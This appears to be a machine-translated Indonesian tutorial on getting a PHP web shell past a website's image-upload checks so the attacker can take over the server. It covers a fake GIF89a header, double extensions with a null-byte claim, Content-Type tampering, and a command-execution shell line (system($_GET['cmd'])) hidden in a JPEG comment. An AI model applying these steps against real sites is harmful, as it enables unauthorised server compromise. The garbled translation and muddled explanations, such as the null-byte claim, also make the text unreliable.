Upload shell Anda melalui gambar, gambar, avatar, tanda tangan dll

Ini adalah tutorial pada shell upload dengan melewati script upload gambar!
Jadi seseorang yang Anda ingin pwn punya pilihan yang bagus sedikit di sana situs web untuk meng-upload sebuah gambar. Sebaliknya akan mencoba untuk meng-upload beberapa kode php sehingga kami akhirnya dapat memiliki kotak.

Berikut ini adalah cara untuk melakukan ini

Pertama Hanya mencoba untuk meng-upload shell jika ini tidak berhasil menambah menambahkan GIF89a, untuk bagian atas contoh shell.php Anda: GIF89a;

Tergantung pada jenis validasi berkas mereka menggunakan apa yang mungkin menipu Server Ke berpikir citranya sejak ketika membaca file menemukan header GIF dan mengasumsikan aman sejak Gambar a.

Cara berikutnya adalah untuk mengubah nama shell Anda untuk shell.php.jpg dan mencoba untuk meng-upload. Ini bekerja karena merupakan byte nol dan server harus drop dan apa-apa setelah itu tetapi ketika Anda meng-upload, itu membacanya sebagai jpg. Dan bukan php..

Cara lain Anda bisa menipu server web ke dalam pemikiran Anda meng-upload gambar bukannya shell php adalah untuk mendapatkan Firefox dan menginstal tamperdata Add on kemudian klik mulai mengutak-atik dan meng-upload shell php Anda kemudian mengutak-atik data dan mengubah isi-Type dari 'application / octet-stream 'menjadi' image / jpeg '.

penggunaan:
-
edjpgcom "filename.jpg"
Sekarang menambahkan ini ke jpg komentar karena Anda tidak akan dapat menjatuhkan shell keseluruhan dalam sana karena untuk batas dll
";
Sistem ($ _GET ['cmd']);
echo "

";
?>
sekarang mengubah nama Anda ke jpg. php dan upload.
Ini bekerja karena jpeg dan semua atributnya masih utuh dan sepertinya jpg normal server. Anda dapat mencoba dan menggabungkan teknik ini

Artikel Terkait